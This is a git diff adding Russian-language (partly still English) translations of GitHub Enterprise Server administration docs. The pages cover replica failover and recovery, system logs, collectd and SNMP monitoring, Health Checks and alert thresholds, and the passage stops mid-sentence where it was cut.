+ms.lasthandoff: 10/04/2022 +ms.locfileid: '148008888' +--- +Время, необходимое для отработки отказа, зависит от того, сколько времени требуется для повышения уровня реплики и перенаправления трафика вручную. В среднем на это требуется от 20 до 30 минут. + +{% data reusables.enterprise_installation.promoting-a-replica %} + +1. Если основное устройство доступно, то чтобы позволить репликации завершиться до переключения устройств, необходимо перейти на основное устройство и перевести его в режим обслуживания. + + - Переведите устройство в режим обслуживания. + + - Сведения об использовании консоли управления см. в разделе [Включение и планирование режима обслуживания](/enterprise/admin/guides/installation/enabling-and-scheduling-maintenance-mode/). + + - Можно также использовать команду `ghe-maintenance -s`. + ```shell + $ ghe-maintenance -s + ``` + + - Когда количество активных операций Git, запросов MySQL и заданий Resque достигнет нуля, подождите 30 секунд. + + {% note %} + + **Примечание.** В Nomad всегда будут какие-выполняющиеся задания, даже в режиме обслуживания, но вы можете спокойно игнорировать эти задания. + + {% endnote %} + + - Чтобы проверить отчет `OK` обо всех каналах репликации, используйте команду `ghe-repl-status -vv`. + + ```shell + $ ghe-repl-status -vv + ``` + +4. Чтобы остановить репликацию и повысить уровень устройства реплики до основного, на устройстве реплики используйте команду `ghe-repl-promote`. Эта команда также автоматически переведет основной узел в режим обслуживания, если он доступен. + ```shell + $ ghe-repl-promote + ``` +5. Обновите запись DNS, чтобы она указывала IP-адрес реплики. Трафик направляется в реплику после истечения срока жизни. Если вы используете подсистему балансировки нагрузки, убедитесь, что она настроена для отправки трафика в реплику. +6. Уведомите пользователей о том, что они могут возобновить обычные операции. +7. При желании настройте репликацию из нового основного устройства на существующие устройства и предыдущее основное устройство. Дополнительные сведения см. в разделе [сведения о настройке высокого уровня доступности](/enterprise/admin/guides/installation/about-high-availability-configuration/#utilities-for-replication-management). +8. Устройства, которые были частью конфигурации с высоким уровнем доступности, но на которые вы не планируете настраивать репликацию, необходимо удалить из конфигурации с высоким уровнем доступности с помощью UUID. + - На бывших устройствах получите их UUID с помощью команды `cat /data/user/common/uuid`. + ```shell + $ cat /data/user/common/uuid + ``` + - На новом основном устройстве удалите эти UUID с помощью `ghe-repl-teardown`. Замените *`UUID`* на UUID, полученные на предыдущем шаге. + ```shell + $ ghe-repl-teardown -u UUID + ``` + +## Дополнительные материалы + +- [Служебные программы для управления репликацией](/enterprise/admin/guides/installation/about-high-availability-configuration/#utilities-for-replication-management) diff --git a/translations/ru-RU/content/admin/enterprise-management/configuring-high-availability/recovering-a-high-availability-configuration.md b/translations/ru-RU/content/admin/enterprise-management/configuring-high-availability/recovering-a-high-availability-configuration.md new file mode 100644 index 000000000000..152d8a4bdb01 --- /dev/null +++ b/translations/ru-RU/content/admin/enterprise-management/configuring-high-availability/recovering-a-high-availability-configuration.md @@ -0,0 +1,49 @@ +--- +title: Восстановление настройки высокого уровня доступности +intro: 'После выполнения отработки отказа на устройство {% data variables.product.prodname_ghe_server %} необходимо как можно скорее восстановить избыточность, а не полагаться на одно устройство.' +redirect_from: + - /enterprise/admin/installation/recovering-a-high-availability-configuration + - /enterprise/admin/enterprise-management/recovering-a-high-availability-configuration + - /admin/enterprise-management/recovering-a-high-availability-configuration +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - High availability + - Infrastructure +shortTitle: Recover a HA configuration +ms.openlocfilehash: 5ca63dc97633208cacd1991bd171a065f2c07205 +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: '148008883' +--- +## Сведения о восстановлении настройки высокого уровня доступности + +Вы можете использовать прежнее основное устройство в качестве нового устройства реплики, если отработка отказа была запланирована или она не связана со работоспособностью устройства. Если отработка отказа связана с проблемой с основным устройством, вы можете создать новое устройство реплики. Дополнительные сведения см. в статье [Создание реплики с высоким уровнем доступности](/enterprise/admin/guides/installation/creating-a-high-availability-replica/). + +{% warning %} + +**Предупреждение.** Перед настройкой прежнего основного устройства в качестве новой реплики необходимо включить режим обслуживания. Если режим обслуживания не будет включен, произойдет сбой рабочей среды. + +{% endwarning %} + +## Настройка прежнего основного устройства в качестве новой реплики + +1. Подключитесь к IP-адресу прежнего основного устройства с помощью SSH. + ```shell + $ ssh -p 122 admin@ FORMER_PRIMARY_IP + ``` +1. Включите режим обслуживания на прежнем основном устройстве. Дополнительные сведения см. в разделе [Включение и планирование режима обслуживания](/admin/configuration/configuring-your-enterprise/enabling-and-scheduling-maintenance-mode). +1. На прежнем основном устройстве запустите `ghe-repl-setup` с IP-адресом прежней реплики. + ```shell + $ ghe-repl-setup FORMER_REPLICA_IP + ``` +{% data reusables.enterprise_installation.add-ssh-key-to-primary %} +1. Чтобы проверить подключение к новому основному устройству и включить режим реплики для новой реплики, еще раз запустите `ghe-repl-setup`. + ```shell + $ ghe-repl-setup FORMER_REPLICA_IP + ``` +{% data reusables.enterprise_installation.replication-command %} diff --git a/translations/ru-RU/content/admin/enterprise-management/configuring-high-availability/removing-a-high-availability-replica.md b/translations/ru-RU/content/admin/enterprise-management/configuring-high-availability/removing-a-high-availability-replica.md new file mode 100644 index 000000000000..79e6c1ea1057 --- /dev/null +++ b/translations/ru-RU/content/admin/enterprise-management/configuring-high-availability/removing-a-high-availability-replica.md @@ -0,0 +1,52 @@ +--- +title: Удаление реплики с высоким уровнем доступности +intro: 'Вы можете временно остановить репликацию в реплику {% data variables.product.prodname_ghe_server %} или окончательно удалить репликацию.' +redirect_from: + - /enterprise/admin/installation/removing-a-high-availability-replica + - /enterprise/admin/enterprise-management/removing-a-high-availability-replica + - /admin/enterprise-management/removing-a-high-availability-replica +versions: + ghes: '*' +type: how_to +topics: + - Clustering + - High availability + - Enterprise + - Infrastructure +shortTitle: Remove a HA replica +ms.openlocfilehash: 12fe196d38f93cb29bf49413ef9912028d662130 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/10/2022 +ms.locfileid: '145116776' +--- +## Временная остановка репликации + +1. При необходимости остановите обслуживание пользовательского трафика в реплике георепликации, удалив записи Geo DNS для реплики. +2. В реплике, в которой вы хотите временно остановить репликацию, выполните команду ghe-repl-stop. + ```shell + $ ghe-repl-stop + ``` +3. Чтобы снова запустить репликацию, выполните команду `ghe-repl-start`. + ```shell + $ ghe-repl-start + ``` + +## Удаление репликации навсегда + +1. При необходимости остановите обслуживание пользовательского трафика в реплике георепликации, удалив записи Geo DNS для реплики. +2. В реплике, из которой требуется удалить репликацию, выполните команду `ghe-repl-stop`. + ```shell + $ ghe-repl-stop + ``` +3. Чтобы удалить репликацию, выполните `ghe-repl-teardown` в реплике. + ```shell + $ ghe-repl-teardown + ``` + + {% ifversion ghes %} {% note %} + + **Примечание.** Если включено {% data variables.product.prodname_actions %}, следует вывести из эксплуатации бывший сервер реплики или обновить его конфигурацию {% data variables.product.prodname_actions %}, чтобы использовать другое внешнее хранилище. Дополнительные сведения см. в статье [Высокий уровень доступности для {% data variables.product.prodname_actions %}](/admin/github-actions/high-availability-for-github-actions#high-availability-replicas). + + {% endnote %} {% endif %} diff --git a/translations/ru-RU/content/admin/enterprise-management/index.md b/translations/ru-RU/content/admin/enterprise-management/index.md new file mode 100644 index 000000000000..2a15f7b4496d --- /dev/null +++ b/translations/ru-RU/content/admin/enterprise-management/index.md @@ -0,0 +1,24 @@ +--- +title: 'Мониторинг, управление и обновление предприятия' +intro: 'Вы можете отслеживать устройство, выполнять обновление до более новой версии и настраивать кластеризацию или высокий уровень доступности' +redirect_from: + - /enterprise/admin/enterprise-management +versions: + ghes: '*' +topics: + - Enterprise +children: + - /monitoring-your-appliance + - /updating-the-virtual-machine-and-physical-resources + - /configuring-clustering + - /configuring-high-availability + - /caching-repositories +shortTitle: 'Monitor, manage, and update your appliance' +ms.openlocfilehash: 1d2a9dfb22d8243617ba5844df93e5bfcaf6d99d +ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147882742' +--- + diff --git a/translations/ru-RU/content/admin/enterprise-management/monitoring-your-appliance/about-system-logs.md b/translations/ru-RU/content/admin/enterprise-management/monitoring-your-appliance/about-system-logs.md new file mode 100644 index 000000000000..406dd543493e --- /dev/null +++ b/translations/ru-RU/content/admin/enterprise-management/monitoring-your-appliance/about-system-logs.md @@ -0,0 +1,67 @@ +--- +title: Сведения о системных журналах +intro: '{% data variables.product.product_name %} хранит журналы ошибок и сообщений для системных событий. Журналы полезны для выявления действий и исключений на уровне пользователя, приложения и системы.' +versions: + ghes: '*' +type: overview +topics: + - Auditing + - Enterprise + - Logging + - Security +ms.openlocfilehash: e41702e25c7cc222cefb4eedb4e0322adf3acdba +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147063333' +--- +## Системные журналы + +По умолчанию ротация системных журналов для {% data variables.product.product_name %} автоматически выполняется каждые 24 часа, журналы сохраняются в течение семи дней. Системные журналы содержат события системного уровня, журналы приложений и данные событий Git. Так как файлы журналов часто открываются для записи и могут иметь большой размер, полезно извлечь и проанализировать соответствующие записи журнала на узле, отдельном от вашего экземпляра {% data variables.product.prodname_ghe_server %}. + +Системные журналы можно пересылать в стороннюю систему или на сервер для более длительного хранения. Дополнительные сведения см. в разделе «[Пересылка журналов](/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/log-forwarding)». + +Помимо просмотра системных журналов, можно выполнять мониторинг действия в организации другими способами, например, просматривать журналы аудита, отправлять журналы и управлять глобальными веб-перехватчиками. Дополнительные сведения см. в разделе [Мониторинг действий в организации](/admin/monitoring-activity-in-your-enterprise). + +## Типы журналов + +Ниже перечислены основные журналы, используемые устройством {% data variables.product.product_name %} и их функциями: + +| Путь | Описание | +|------|-------------| +| `/var/log/github/audit.log` | События пользователя, репозитория и системных событий с аудитом. +| `/var/log/github/unicorn.log` | Трафик API и веб-интерфейса. +| `/var/log/github/exceptions.log` | Ошибки уровня приложений. +| `/var/log/haproxy.log` | Весь IP-трафик, достигающий устройства. +| `/var/log/hookshot/resqued.log` | Доставка и сбои веб-перехватчика. +| `/var/log/github/auth.log` | Запросы проверки подлинности, например, с помощью встроенных методов LDAP, CAS или SAML. +| `/var/log/github/gitauth.log` | Все запросы проверки подлинности Git. + +Действия Git и запросы проверки подлинности обрабатываются службой `babeld`. + +Несколько служб {% data variables.product.product_name %}, таких как служба `babeld` работают в контейнере. Контейнерные журналы записываются в `systemd journal`, и могут запрашиваться в любое время с помощью команды `journalctl`. + +## События системы с аудитом + +Все записи в файле `audit.log` используются и могут фильтроваться с помощью ключевого слова `github_audit`. + +Например, эта запись показывает, что был создан новый репозиторий. + +``` +Oct 26 01:42:08 github-ent github_audit: {:created_at=>1351215728326, :actor_ip=>"10.0.0.51", :data=>{}, :user=>"some-user", :repo=>"some-user/some-repository", :actor=>"some-user", :actor_id=>2, :user_id=>2, :action=>"repo.create", :repo_id=>1, :from=>"repositories#create"} +``` + +В этом примере показано, что фиксации были отправлены в репозиторий. + +``` +Oct 26 02:19:31 github-ent github_audit: { "pid":22860, "ppid":22859, "program":"receive-pack", "git_dir":"/data/repositories/some-user/some-repository.git", "hostname":"github-ent", "pusher":"some-user", "real_ip":"10.0.0.51", "user_agent":"git/1.7.10.4", "repo_id":1, "repo_name":"some-user/some-repository", "transaction_id":"b031b7dc7043c87323a75f7a92092ef1456e5fbaef995c68", "frontend_ppid":1, "repo_public":true, "user_name":"some-user", "user_login":"some-user", "frontend_pid":18238, "frontend":"github-ent", "user_email":"some-user@github.example.com", "user_id":2, "pgroup":"github-ent_22860", "status":"post_receive_hook", "features":" report-status side-band-64k", "received_objects":3, "receive_pack_size":243, "non_fast_forward":false, "current_ref":"refs/heads/main" } +``` + +## Пакеты поддержки + +Пакет поддержки содержит системные журналы, а вся информация об аудите записывается в файл `audit.log` в каталоге `github-logs`. Дополнительные сведения см. в статье "[Предоставление данных в службу поддержки {% data variables.product.prodname_dotcom %}](/support/contacting-github-support/providing-data-to-github-support)". + +## Дополнительные материалы + +- [Страница руководства Linux ](http://man7.org/linux/man-pages/man1/journalctl.1.html) по команде `journalctl` diff --git a/translations/ru-RU/content/admin/enterprise-management/monitoring-your-appliance/accessing-the-monitor-dashboard.md b/translations/ru-RU/content/admin/enterprise-management/monitoring-your-appliance/accessing-the-monitor-dashboard.md new file mode 100644 index 000000000000..c2f149719ee2 --- /dev/null +++ b/translations/ru-RU/content/admin/enterprise-management/monitoring-your-appliance/accessing-the-monitor-dashboard.md @@ -0,0 +1,42 @@ +--- +title: Accessing the monitor dashboard +intro: '{% data variables.product.prodname_ghe_server %} includes a web-based monitoring dashboard that displays historical data about your {% data variables.product.prodname_ghe_server %} appliance, such as CPU and storage usage, application and authentication response times, and general system health.' +redirect_from: + - /enterprise/admin/installation/accessing-the-monitor-dashboard + - /enterprise/admin/enterprise-management/accessing-the-monitor-dashboard + - /admin/enterprise-management/accessing-the-monitor-dashboard +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - Fundamentals + - Infrastructure + - Monitoring + - Performance +shortTitle: Access the monitor dashboard +--- +## Accessing the monitor dashboard + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +2. At the top of the page, click **Monitor**. +![The Monitor Dashboard link](/assets/images/enterprise/management-console/monitor-dash-link.png) + +## Troubleshooting common resource allocation problems on your appliance + +{% note %} + +**Note**: Because regularly polling {% data variables.location.product_location %} with continuous integration (CI) or build servers can effectively cause a denial of service attack that results in problems, we recommend using webhooks to push updates. For more information, see "[About webhooks](/enterprise/user/articles/about-webhooks/)". + +{% endnote %} + +Use the monitor dashboard to stay informed on your appliance's resource health and make decisions on how to fix high usage issues. + +| Problem | Possible cause(s) | Recommendations | +| -------- | ----------------- | --------------- | +| High CPU usage | VM contention from other services or programs running on the same host | If possible, reconfigure other services or programs to use fewer CPU resources. To increase total CPU resources for the VM, see "[Increasing CPU or memory resources](/enterprise/admin/guides/installation/increasing-cpu-or-memory-resources/)." | +| High memory usage | VM contention from other services or programs running on the same host | If possible, reconfigure other services or programs to use less memory. To increase the total memory available on the VM, see "[Increasing CPU or memory resources](/enterprise/admin/guides/installation/increasing-cpu-or-memory-resources/)." | +| Low disk space availability | Large binaries or log files consuming disk space | If possible, host large binaries on a separate server, and compress or archive log files. If necessary, increase disk space on the VM by following the steps for your platform in "[Increasing storage capacity](/enterprise/admin/guides/installation/increasing-storage-capacity/)." | +| Higher than usual response times | Often caused by one of the above issues | Identify and fix the underlying issues. If response times remain high, contact {% data variables.contact.contact_ent_support %}. | +| Elevated error rates | Software issues | Contact {% data variables.contact.contact_ent_support %} and include your support bundle. For more information, see "[Providing data to {% data variables.product.prodname_enterprise %} Support](/enterprise/{{ currentVersion}}/admin/guides/enterprise-support/providing-data-to-github-support#creating-and-sharing-support-bundles)." | diff --git a/translations/ru-RU/content/admin/enterprise-management/monitoring-your-appliance/configuring-collectd.md b/translations/ru-RU/content/admin/enterprise-management/monitoring-your-appliance/configuring-collectd.md new file mode 100644 index 000000000000..0c216af47ef9 --- /dev/null +++ b/translations/ru-RU/content/admin/enterprise-management/monitoring-your-appliance/configuring-collectd.md @@ -0,0 +1,65 @@ +--- +title: Configuring collectd +intro: '{% data variables.product.prodname_enterprise %} can gather data with `collectd` and send it to an external `collectd` server. Among other metrics, we gather a standard set of data such as CPU utilization, memory and disk consumption, network interface traffic and errors, and the VM''s overall load.' +redirect_from: + - /enterprise/admin/installation/configuring-collectd + - /enterprise/admin/articles/configuring-collectd + - /enterprise/admin/enterprise-management/configuring-collectd + - /admin/enterprise-management/configuring-collectd +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - Fundamentals + - Infrastructure + - Monitoring + - Performance +--- +## Set up an external `collectd` server + +If you haven't already set up an external `collectd` server, you will need to do so before enabling `collectd` forwarding on {% data variables.location.product_location %}. Your `collectd` server must be running `collectd` version 5.x or higher. + +1. Log into your `collectd` server. +2. Create or edit the `collectd` configuration file to load the network plugin and populate the server and port directives with the proper values. On most distributions, this is located at `/etc/collectd/collectd.conf` + +An example *collectd.conf* to run a `collectd` server: + + LoadPlugin network + ... + ... + + Listen "0.0.0.0" "25826" + + +## Enable collectd forwarding on {% data variables.product.prodname_enterprise %} + +By default, `collectd` forwarding is disabled on {% data variables.product.prodname_enterprise %}. Follow the steps below to enable and configure `collectd` forwarding: + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +1. Below the log forwarding settings, select **Enable collectd forwarding**. +1. In the **Server address** field, type the address of the `collectd` server to which you'd like to forward {% data variables.product.prodname_enterprise %} appliance statistics. +1. In the **Port** field, type the port used to connect to the `collectd` server. (Defaults to 25826) +1. In the **Cryptographic setup** dropdown menu, select the security level of communications with the `collectd` server. (None, signed packets, or encrypted packets.) +{% data reusables.enterprise_management_console.save-settings %} + +## Exporting collectd data with `ghe-export-graphs` + +The command-line tool `ghe-export-graphs` will export the data that `collectd` stores in RRD databases. This command turns the data into XML and exports it into a single tarball (`.tgz`). + +Its primary use is to provide the {% data variables.contact.contact_ent_support %} team with data about a VM's performance, without the need for downloading a full Support Bundle. It shouldn't be included in your regular backup exports and there is no import counterpart. If you contact {% data variables.contact.contact_ent_support %}, we may ask for this data to assist with troubleshooting. + +### Usage + +```shell +ssh -p 122 admin@[hostname] -- 'ghe-export-graphs' && scp -P 122 admin@[hostname]:~/graphs.tar.gz . +``` + +## Troubleshooting + +### Central collectd server receives no data + +{% data variables.product.prodname_enterprise %} ships with `collectd` version 5.x. `collectd` 5.x is not backwards compatible with the 4.x release series. Your central `collectd` server needs to be at least version 5.x to accept data sent from {% data variables.location.product_location %}. + +For help with further questions or issues, contact {% data variables.contact.contact_ent_support %}. diff --git a/translations/ru-RU/content/admin/enterprise-management/monitoring-your-appliance/generating-a-health-check-for-your-enterprise.md b/translations/ru-RU/content/admin/enterprise-management/monitoring-your-appliance/generating-a-health-check-for-your-enterprise.md new file mode 100644 index 000000000000..436c8127bac5 --- /dev/null +++ b/translations/ru-RU/content/admin/enterprise-management/monitoring-your-appliance/generating-a-health-check-for-your-enterprise.md @@ -0,0 +1,58 @@ +--- +title: Generating a Health Check for your enterprise +intro: 'You can gain insight into the general health and Git and API requests of {% data variables.location.product_location %} by generating a Health Check.' +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - Fundamentals + - Infrastructure + - Monitoring + - Performance +product: '{% data reusables.gated-features.generated-health-checks %}' +--- + +{% note %} + +**Note:** Generating a Health Check is currently in beta for {% data variables.product.prodname_ghe_server %} and subject to change. + +{% endnote %} + +## About generated Health Checks + +You can create a support bundle for {% data variables.location.product_location %} that contains a lot of data, such as diagnostics and log files. To help analyze and interpret this data, you can generate a Health Check. For more information about support bundles, see "[Providing data to {% data variables.contact.github_support %}](/support/contacting-github-support/providing-data-to-github-support#creating-and-sharing-support-bundles)." + +A Health Check provides the following information about {% data variables.location.product_location %}. +- Insights into the general health of {% data variables.location.product_location %}, such as upgrade status, storage, and license seat consumption +- A security section, which focuses on subdomain isolation and user authentication +- Analysis of Git requests, with details about the busiest repositories and Git users +- Analysis of API requests, including the busiest times, most frequently requested endpoints, and most active callers + +If you want to generate a Health Check for {% data variables.product.prodname_ghe_cloud %}, contact {% data variables.contact.github_support %}. For more information, see "[Creating a support ticket](/support/contacting-github-support/creating-a-support-ticket)." + +## Generating a Health Check + +Before you can generate a Health Check, you must create a support bundle. For more information, see "[Providing data to {% data variables.contact.github_support %}](/support/contacting-github-support/providing-data-to-github-support#creating-and-sharing-support-bundles)." + +1. Navigate to the [{% data variables.contact.support_portal %}](https://support.github.com/). +2. In the upper-right corner of the page, click **Premium**. + + ![Screenshot of the "Premium" link in the GitHub Support Portal header.](/assets/images/enterprise/support/support-portal-header-premium.png) + +3. To the right of **Health Checks**, click **Request Health Check**. + + ![Screenshot of the "Request Health Check" button.](/assets/images/enterprise/support/support-portal-request-health-check.png) + +4. Under "Select an enterprise account", select the dropdown menu and click an enterprise account. + + ![Screenshot of the "enterprise account" dropdown menu.](/assets/images/enterprise/support/health-check-dialog-ea.png) + +5. Under "Upload a support bundle", click **Chose File** and choose a file to upload. Then, click **Request Health Check**. + + ![Screenshot of the "Choose file" and "Request Health Check" buttons.](/assets/images/enterprise/support/health-check-dialog-choose-file.png) + + +After you request a Health Check, a job is scheduled to generate the Health Check. After several hours to one day, the generated Health Check will appear in the "Health Checks" section of the {% data variables.contact.support_portal %}. + +![Screenshot of the Health Checks section of the {% data variables.contact.support_portal %}.](/assets/images/enterprise/support/support-portal-health-checks-section.png) diff --git a/translations/ru-RU/content/admin/enterprise-management/monitoring-your-appliance/index.md b/translations/ru-RU/content/admin/enterprise-management/monitoring-your-appliance/index.md new file mode 100644 index 000000000000..fb441b33e9bc --- /dev/null +++ b/translations/ru-RU/content/admin/enterprise-management/monitoring-your-appliance/index.md @@ -0,0 +1,22 @@ +--- +title: Monitoring your appliance +intro: 'As use of {% data variables.location.product_location %} increases over time, the utilization of system resources, like CPU, memory, and storage will also increase. You can configure monitoring and alerting so that you''re aware of potential issues before they become critical enough to negatively impact application performance or availability.' +redirect_from: + - /enterprise/admin/guides/installation/system-resource-monitoring-and-alerting + - /enterprise/admin/guides/installation/monitoring-your-github-enterprise-appliance + - /enterprise/admin/installation/monitoring-your-github-enterprise-server-appliance + - /enterprise/admin/enterprise-management/monitoring-your-appliance +versions: + ghes: '*' +topics: + - Enterprise +children: + - /accessing-the-monitor-dashboard + - /recommended-alert-thresholds + - /setting-up-external-monitoring + - /configuring-collectd + - /monitoring-using-snmp + - /about-system-logs + - /generating-a-health-check-for-your-enterprise +--- + diff --git a/translations/ru-RU/content/admin/enterprise-management/monitoring-your-appliance/monitoring-using-snmp.md b/translations/ru-RU/content/admin/enterprise-management/monitoring-your-appliance/monitoring-using-snmp.md new file mode 100644 index 000000000000..9c3f4781893c --- /dev/null +++ b/translations/ru-RU/content/admin/enterprise-management/monitoring-your-appliance/monitoring-using-snmp.md @@ -0,0 +1,121 @@ +--- +title: Monitoring using SNMP +intro: '{% data variables.product.prodname_enterprise %} provides data on disk usage, CPU utilization, memory usage, and more over SNMP.' +redirect_from: + - /enterprise/admin/installation/monitoring-using-snmp + - /enterprise/admin/articles/monitoring-using-snmp + - /enterprise/admin/enterprise-management/monitoring-using-snmp + - /admin/enterprise-management/monitoring-using-snmp +versions: + ghes: '*' +type: how_to +topics: + - Enterprise + - Infrastructure + - Monitoring + - Performance +--- +SNMP is a common standard for monitoring devices over a network. We strongly recommend enabling SNMP so you can monitor the health of {% data variables.location.product_location %} and know when to add more memory, storage, or processor power to the host machine. + +{% data variables.product.prodname_enterprise %} has a standard SNMP installation, so you can take advantage of the [many plugins](https://www.monitoring-plugins.org/doc/man/check_snmp.html) available for Nagios or for any other monitoring system. + +## Configuring SNMP v2c + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +{% data reusables.enterprise_management_console.access-monitoring %} +{% data reusables.enterprise_management_console.enable-snmp %} +4. In the **Community string** field, enter a new community string. If left blank, this defaults to `public`. +![Field to add the community string](/assets/images/enterprise/management-console/community-string.png) +{% data reusables.enterprise_management_console.save-settings %} +5. Test your SNMP configuration by running the following command on a separate workstation with SNMP support in your network: + ```shell + # community-string is your community string + # hostname is the IP or domain of your Enterprise instance + $ snmpget -v 2c -c COMMUNITY-STRING -O e HOSTNAME hrSystemDate.0 + ``` + +This should return the system time on {% data variables.location.product_location %} host. + +## User-based security + +If you enable SNMP v3, you can take advantage of increased user based security through the User Security Model (USM). For each unique user, you can specify a security level: +- `noAuthNoPriv`: This security level provides no authentication and no privacy. +- `authNoPriv`: This security level provides authentication but no privacy. To query the appliance you'll need a username and password (that must be at least eight characters long). Information is sent without encryption, similar to SNMPv2. The authentication protocol can be either MD5 or SHA and defaults to SHA. +- `authPriv`: This security level provides authentication with privacy. Authentication, including a minimum eight-character authentication password, is required and responses are encrypted. A privacy password is not required, but if provided it must be at least eight characters long. If a privacy password isn't provided, the authentication password is used. The privacy protocol can be either DES or AES and defaults to AES. + +## Configuring users for SNMP v3 + +{% data reusables.enterprise_site_admin_settings.access-settings %} +{% data reusables.enterprise_site_admin_settings.management-console %} +{% data reusables.enterprise_management_console.access-monitoring %} +{% data reusables.enterprise_management_console.enable-snmp %} +4. Select **SNMP v3**. +![Button to enable SNMP v3](/assets/images/enterprise/management-console/enable-snmpv3.png) +5. In "Username", type the unique username of your SNMP v3 user. +![Field to type the SNMP v3 username](/assets/images/enterprise/management-console/snmpv3-username.png) +6. In the **Security Level** dropdown menu, click the security level for your SNMP v3 user. +![Dropdown menu for the SNMP v3 user's security level](/assets/images/enterprise/management-console/snmpv3-securitylevel.png) +7. For SNMP v3 users with the `authnopriv` security level: + ![Settings for the authnopriv security level](/assets/images/enterprise/management-console/snmpv3-authnopriv.png) + - {% data reusables.enterprise_management_console.authentication-password %} + - {% data reusables.enterprise_management_console.authentication-protocol %} +8. For SNMP v3 users with the `authpriv` security level: + ![Settings for the authpriv security level](/assets/images/enterprise/management-console/snmpv3-authpriv.png) + - {% data reusables.enterprise_management_console.authentication-password %} + - {% data reusables.enterprise_management_console.authentication-protocol %} + - Optionally, in "Privacy password", type the privacy password. + - On the right side of "Privacy password", in the **Protocol** dropdown menu, click the privacy protocol method you want to use. +9. Click **Add user**. +![Button to add SNMP v3 user](/assets/images/enterprise/management-console/snmpv3-adduser.png) +{% data reusables.enterprise_management_console.save-settings %} + +#### Querying SNMP data + +Both hardware and software-level information about your appliance is available with SNMP v3. Due to the lack of encryption and privacy for the `noAuthNoPriv` and `authNoPriv` security levels, we exclude the `hrSWRun` table (1.3.6.1.2.1.25.4) from the resulting SNMP reports. We include this table if you're using the `authPriv` security level. For more information, see the "[OID reference documentation](https://oidref.com/1.3.6.1.2.1.25.4)." + +With SNMP v2c, only hardware-level information about your appliance is available. The applications and services within {% data variables.product.prodname_enterprise %} do not have OIDs configured to report metrics. Several MIBs are available, which you can see by running `snmpwalk` on a separate workstation with SNMP support in your network: + +```shell +# community-string is your community string +# hostname is the IP or domain of your Enterprise instance +$ snmpwalk -v 2c -c COMMUNITY-STRING -O e HOSTNAME +``` + +Of the available MIBs for SNMP, the most useful is `HOST-RESOURCES-MIB` (1.3.6.1.2.1.25). See the table below for some important objects in this MIB: + +| Name | OID | Description | +| ---- | --- | ----------- | +| hrSystemDate.2 | 1.3.6.1.2.1.25.1.2 | The hosts notion of the local date and time of day. | +| hrSystemUptime.0 | 1.3.6.1.2.1.25.1.1.0 | How long it's been since the host was last initialized. | +| hrMemorySize.0 | 1.3.6.1.2.1.25.2.2.0 | The amount of RAM on the host. | +| hrSystemProcesses.0 | 1.3.6.1.2.1.25.1.6.0 | The number of process contexts currently loaded or running on the host. | +| hrStorageUsed.1 | 1.3.6.1.2.1.25.2.3.1.6.1 | The amount of storage space consumed on the host, in hrStorageAllocationUnits. | +| hrStorageAllocationUnits.1 | 1.3.6.1.2.1.25.2.3.1.4.1 | The size, in bytes, of an hrStorageAllocationUnit | + +For example, to query for `hrMemorySize` with SNMP v3, run the following command on a separate workstation with SNMP support in your network: +```shell +# username is the unique username of your SNMP v3 user +# auth password is the authentication password +# privacy password is the privacy password +# hostname is the IP or domain of your Enterprise instance +$ snmpget -v 3 -u USERNAME -l authPriv \ + -A "AUTH PASSWORD" -a SHA \ + -X "PRIVACY PASSWORD" -x AES \ + -O e HOSTNAME HOST-RESOURCES-MIB::hrMemorySize.0 +``` + +With SNMP v2c, to query for `hrMemorySize`, run the following command on a separate workstation with SNMP support in your network: +```shell +# community-string is your community string +# hostname is the IP or domain of your Enterprise instance +snmpget -v 2c -c COMMUNITY-STRING HOSTNAME HOST-RESOURCES-MIB::hrMemorySize.0 +``` + +{% tip %} + +**Note:** To prevent leaking information about services running on your appliance, we exclude the `hrSWRun` table (1.3.6.1.2.1.25.4) from the resulting SNMP reports unless you're using the `authPriv` security level with SNMP v3. If you're using the `authPriv` security level, we include the `hrSWRun` table. + +{% endtip %} + +For more information on OID mappings for common system attributes in SNMP, see "[Linux SNMP OID’s for CPU, Memory and Disk Statistics](http://www.linux-admins.net/2012/02/linux-snmp-oids-for-cpumemory-and-disk.html)". diff --git a/translations/ru-RU/content/admin/enterprise-management/monitoring-your-appliance/recommended-alert-thresholds.md b/translations/ru-RU/content/admin/enterprise-management/monitoring-your-appliance/recommended-alert-thresholds.md new file mode 100644 index 000000000000..48672a06957f --- /dev/null +++ b/translations/ru-RU/content/admin/enterprise-management/monitoring-your-appliance/recommended-alert-thresholds.md @@ -0,0 +1,52 @@ +--- +title: Recommended alert thresholds +intro: 'You can configure an alert to notify you of system resource issues before they affect your {% data variables.product.prodname_ghe_server %} appliance''s performance.' +redirect_from: + - /enterprise/admin/guides/installation/about-recommended-alert-thresholds + - /enterprise/admin/installation/about-recommended-alert-thresholds + - /enterprise/admin/installation/recommended-alert-thresholds + - /enterprise/admin/enterprise-management/recommended-alert-thresholds + - /admin/enterprise-management/recommended-alert-thresholds +versions: + ghes: '*' +type: reference +topics: + - Enterprise + - Infrastructure + - Monitoring + - Performance + - Storage +shortTitle: Recommended alert thresholds +--- +## Monitoring storage + +We recommend that you monitor both the root and user storage devices and configure an alert with values that allow for ample response time when available disk space is low. + +| Severity | Threshold | +| -------- | --------- | +| **Warning** | Disk use exceeds 70% of total available | +| **Critical** | Disk use exceeds 85% of total available | + +You can adjust these values based on the total amount of storage allocated, historical growth patterns, and expected time to respond. We recommend 